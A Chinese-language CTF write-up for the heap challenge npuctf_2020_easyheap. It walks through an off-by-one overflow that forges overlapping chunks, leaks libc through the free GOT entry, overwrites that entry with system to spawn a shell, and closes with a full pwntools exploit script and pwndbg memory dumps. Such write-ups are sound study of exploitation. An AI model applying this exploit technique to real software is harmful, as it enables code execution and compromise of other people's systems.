off by one的题,,,
参考视频:off by one + 改got表的heap做法 例题:npuctf_2020_easyheap
程序流程
create:
申请两个chunk: 一个heaparray[i](固定0x10大小),一个是申请的大小(只能申请0x18或0x38)
edit:
read_input(heaparray[(signed int)v1][1], *heaparray[(signed int)v1] + 1LL);
存在off by one
show:根据idx,打印chunk大小和内容
delete:free后,将chunk指针置零了。
漏洞利用 利用off by one,可以修改下一个chunk头指针的大小。
例如,一开始可以申请两个0x18的块。当修改chunk0,溢出到chunk1的头指针大小为0x41,那么chunk1free后重新申请回来,chunk1的内容会和chunk1头指针重叠,可以修改chunk1的指针。
溢出修改chunk1指针为free_got表,泄露地址,计算system
修改chunk内容从而,修改got表内容为system
在chunk0中放入“/bin/sh\x00”,则free(0)即可=>system(“/bin/sh\x00”)
1.查看保护
Partial RELRO => 可以修改got表
1 2 3 4 5 6 7 winter@ubuntu:~/buu$ checksec npuctf_2020_easyheap [*] '/home/winter/buu/npuctf_2020_easyheap' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
2.申请两个0x18的块
一共生成了四个chunk,两个heaparray,两个存在内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x1560000 Size: 0x251 #chunk0 heaparray Allocated chunk | PREV_INUSE Addr: 0x1560250 Size: 0x21 #chunk0 data Allocated chunk | PREV_INUSE Addr: 0x1560270 Size: 0x21 #chunk1 heaparray Allocated chunk | PREV_INUSE Addr: 0x1560290 Size: 0x21 #chunk1 data Allocated chunk | PREV_INUSE Addr: 0x15602b0 Size: 0x21 Top chunk | PREV_INUSE Addr: 0x15602d0 Size: 0x20d31
1 2 3 4 5 6 7 8 9 10 11 12 pwndbg> x/30gx 0x1560250 0x1560250: 0x0000000000000000 0x0000000000000021 0x1560260: 0x0000000000000018 0x0000000001560280 0x1560270: 0x0000000000000000 0x0000000000000021 0x1560280: 0x0000000a61616161 0x0000000000000000 0x1560290: 0x0000000000000000 0x0000000000000021 0x15602a0: 0x0000000000000018 0x00000000015602c0 0x15602b0: 0x0000000000000000 0x0000000000000021 0x15602c0: 0x0000000a61616161 0x0000000000000000 0x15602d0: 0x0000000000000000 0x0000000000020d31 0x15602e0: 0x0000000000000000 0x0000000000000000 0x15602f0: 0x0000000000000000 0x0000000000000000
3.通过chunk0 off by one
修改chunk0的内容,首先放入接下来用的参数。
然后溢出一个字节,修改chunk1 heaparray的大小为0x41
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x1327000 Size: 0x251 Allocated chunk | PREV_INUSE Addr: 0x1327250 Size: 0x21 Allocated chunk | PREV_INUSE Addr: 0x1327270 Size: 0x21 Allocated chunk | PREV_INUSE Addr: 0x1327290 Size: 0x41 Top chunk | PREV_INUSE Addr: 0x13272d0 Size: 0x20d31
1 2 3 4 5 6 7 8 9 10 11 12 pwndbg> x/30gx 0x1327250 0x1327250: 0x0000000000000000 0x0000000000000021 0x1327260: 0x0000000000000018 0x0000000001327280 0x1327270: 0x0000000000000000 0x0000000000000021 0x1327280: 0x0068732f6e69622f 0x0000000000000000 #"/bin/sh\x00" 0x1327290: 0x0000000000000000 0x0000000000000041 #溢出一个字节 0x13272a0: 0x0000000000000018 0x00000000013272c0 0x13272b0: 0x0000000000000000 0x0000000000000021 0x13272c0: 0x0000000a61616161 0x0000000000000000 0x13272d0: 0x0000000000000000 0x0000000000020d31 0x13272e0: 0x0000000000000000 0x0000000000000000 0x13272f0: 0x0000000000000000 0x0000000000000000
存放所有的heaparay指针,有两个
1 2 3 4 5 6 pwndbg> x/30gx 0x6020a0 0x6020a0 <heaparray>: 0x0000000000bf0260 0x0000000000bf02c0 0x6020b0 <heaparray+16>: 0x0000000000000000 0x0000000000000000 0x6020c0 <heaparray+32>: 0x0000000000000000 0x0000000000000000 0x6020d0 <heaparray+48>: 0x0000000000000000 0x0000000000000000 0x6020e0 <heaparray+64>: 0x0000000000000000 0x0000000000000000
4.释放chunk1
chunk1通过上面的全局变量,找到的地址还是不变,但是大小以及被修改为0x41,会按照0x41的大小被释放
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x21d9000 Size: 0x251 Allocated chunk | PREV_INUSE Addr: 0x21d9250 Size: 0x21 Allocated chunk | PREV_INUSE Addr: 0x21d9270 Size: 0x21 Free chunk (tcache) | PREV_INUSE Addr: 0x21d9290 Size: 0x41 fd: 0x00 Top chunk | PREV_INUSE Addr: 0x21d92d0 Size: 0x20d31
1 2 3 4 5 6 7 8 9 10 11 12 pwndbg> x/30gx 0x21d9250 0x21d9250: 0x0000000000000000 0x0000000000000021 0x21d9260: 0x0000000000000018 0x00000000021d9280 0x21d9270: 0x0000000000000000 0x0000000000000021 0x21d9280: 0x0068732f6e69622f 0x0000000000000000 0x21d9290: 0x0000000000000000 0x0000000000000041 0x21d92a0: 0x0000000000000000 0x00000000021d9010 #释放 0x21d92b0: 0x0000000000000000 0x0000000000000021 0x21d92c0: 0x0000000000000000 0x00000000021d9010 #释放 0x21d92d0: 0x0000000000000000 0x0000000000020d31 0x21d92e0: 0x0000000000000000 0x0000000000000000 0x21d92f0: 0x0000000000000000 0x0000000000000000
1 2 3 4 5 6 pwndbg> x/30gx 0x6020a0 0x6020a0 <heaparray>: 0x00000000021d9260 0x0000000000000000 #另一个被清零了 0x6020b0 <heaparray+16>: 0x0000000000000000 0x0000000000000000 0x6020c0 <heaparray+32>: 0x0000000000000000 0x0000000000000000 0x6020d0 <heaparray+48>: 0x0000000000000000 0x0000000000000000 0x6020e0 <heaparray+64>: 0x0000000000000000 0x0000000000000000
5.重新申请0x38的块
再次申请,会把之前释放的0x41和0x21重新申请回来。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0xbf0000 Size: 0x251 Allocated chunk | PREV_INUSE Addr: 0xbf0250 Size: 0x21 Allocated chunk | PREV_INUSE Addr: 0xbf0270 Size: 0x21 Allocated chunk | PREV_INUSE Addr: 0xbf0290 Size: 0x41 #找不到下一个,,,但是在 Top chunk | PREV_INUSE Addr: 0xbf02d0 Size: 0x20d31
6.通过0x41的块,溢出覆盖0x21的块
但是由于0x41的chunk与0x21的chunk重叠了,故可以通过0x41的chunk修改0x21的chunk
但是0x21的chunk存放的是chunk1的指针,故可以让chunk1指针指向free got表,达到泄露。
1 2 3 4 5 6 7 8 9 10 11 12 pwndbg> x/30gx 0xbf0250 0xbf0250: 0x0000000000000000 0x0000000000000021 0xbf0260: 0x0000000000000018 0x0000000000bf0280 0xbf0270: 0x0000000000000000 0x0000000000000021 0xbf0280: 0x0068732f6e69622f 0x0000000000000000 0xbf0290: 0x0000000000000000 0x0000000000000041 0xbf02a0: 0x6161616161616161 0x6161616161616161 0xbf02b0: 0x6161616161616161 0x6161616161616161 0xbf02c0: 0x0000000000000038 0x0000000000602018#free_got 0xbf02d0: 0x000000000000000a 0x0000000000020d31 0xbf02e0: 0x0000000000000000 0x0000000000000000 0xbf02f0: 0x0000000000000000 0x0000000000000000
1 2 3 4 [DEBUG] Received 0x15d bytes: 00000000 53 69 7a 65 20 3a 20 35 36 0a 43 6f 6e 74 65 6e │Size│ : 5│6·Co│nten│ 00000010 74 20 3a 20 30 ba fd 89 0a 7f 0a 44 6f 6e 65 21 │t : │0···│···D│one!│ #泄露到了free的地址
1 2 3 show(1) free_addr = u64(p.recvuntil("\x7f")[-6:]+'\x00\x00')
7.修改free_got表为system地址
此时chunk1的指针指向free_got,故修改chunk1的内容,就可以修改free_got表内容,修改为system地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0xbb9000 Size: 0x251 Allocated chunk | PREV_INUSE Addr: 0xbb9250 Size: 0x21 Allocated chunk | PREV_INUSE Addr: 0xbb9270 Size: 0x21 Allocated chunk | PREV_INUSE Addr: 0xbb9290 Size: 0x41 Top chunk | PREV_INUSE Addr: 0xbb92d0 Size: 0x20d31
1 2 3 4 5 6 7 8 9 10 11 12 pwndbg> x/30gx 0xbb9250 0xbb9250: 0x0000000000000000 0x0000000000000021 0xbb9260: 0x0000000000000018 0x0000000000bb9280 0xbb9270: 0x0000000000000000 0x0000000000000021 0xbb9280: 0x0068732f6e69622f 0x0000000000000000 0xbb9290: 0x0000000000000000 0x0000000000000041 0xbb92a0: 0x6161616161616161 0x6161616161616161 0xbb92b0: 0x6161616161616161 0x6161616161616161 0xbb92c0: 0x0000000000000038 0x0000000000602018#chunk1指针->free_got->system 0xbb92d0: 0x000000000000000a 0x0000000000020d31 0xbb92e0: 0x0000000000000000 0x0000000000000000 0xbb92f0: 0x0000000000000000 0x0000000000000000
1 2 pwndbg> x/30gx 0x0000000000602018 0x602018: 0x00007fcb5dae9550 0x000000000040060a
1 2 pwndbg> x/30gx 0x00007fcb5dae9550 0x7fcb5dae9550 <__libc_system>: 0xfa66e90b74ff8548 0x0000441f0f66ffff
完整exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 from pwn import *p = remote("node3.buuoj.cn" ,29535 ) context.log_level = 'debug' elf = ELF("./npuctf_2020_easyheap" ) libc = ELF("./libc-2.27.so" ) atoi_got = elf.got['atoi' ] free_got = elf.got['free' ] def cmd (choice) : p.recvuntil("Your choice :" ) p.sendline(str(choice)) def create (size,content) : cmd(1 ) p.recvuntil("only) :" ) p.sendline(str(size)) p.recvuntil("Content:" ) p.sendline(content) def edit (idx,content) : cmd(2 ) p.recvuntil("Index :" ) p.sendline(str(idx)) p.recvuntil("Content:" ) p.sendline(content) def show (idx) : cmd(3 ) p.recvuntil("Index :" ) p.sendline(str(idx)) def delete (idx) : cmd(4 ) p.recvuntil("Index :" ) p.sendline(str(idx)) create(0x18 ,"aaaa" ) create(0x18 ,"aaaa" ) payload = '/bin/sh\x00' payload += p64(0 ) * 2 payload += p64(0x41 ) edit(0 ,payload) delete(1 ) payload = 'a' * 0x20 + p64(0x38 ) + p64(free_got) create(0x38 ,payload) show(1 ) free_addr = u64(p.recvuntil("\x7f" )[-6 :]+'\x00\x00' ) log.success(hex(free_addr)) libc_base = free_addr - libc.sym['free' ] system = libc_base + libc.sym['system' ] log.success(hex(libc_base)) log.success(hex(system)) edit(1 ,p64(system)) delete(0 ) p.interactive()
题型 特点:
可以修改got表
malloc两次:一个node,一个content
方法:
利用node和本体互换 => 泄露libc
修改free_got=>system
off by one题挺多,多练习,this is the first。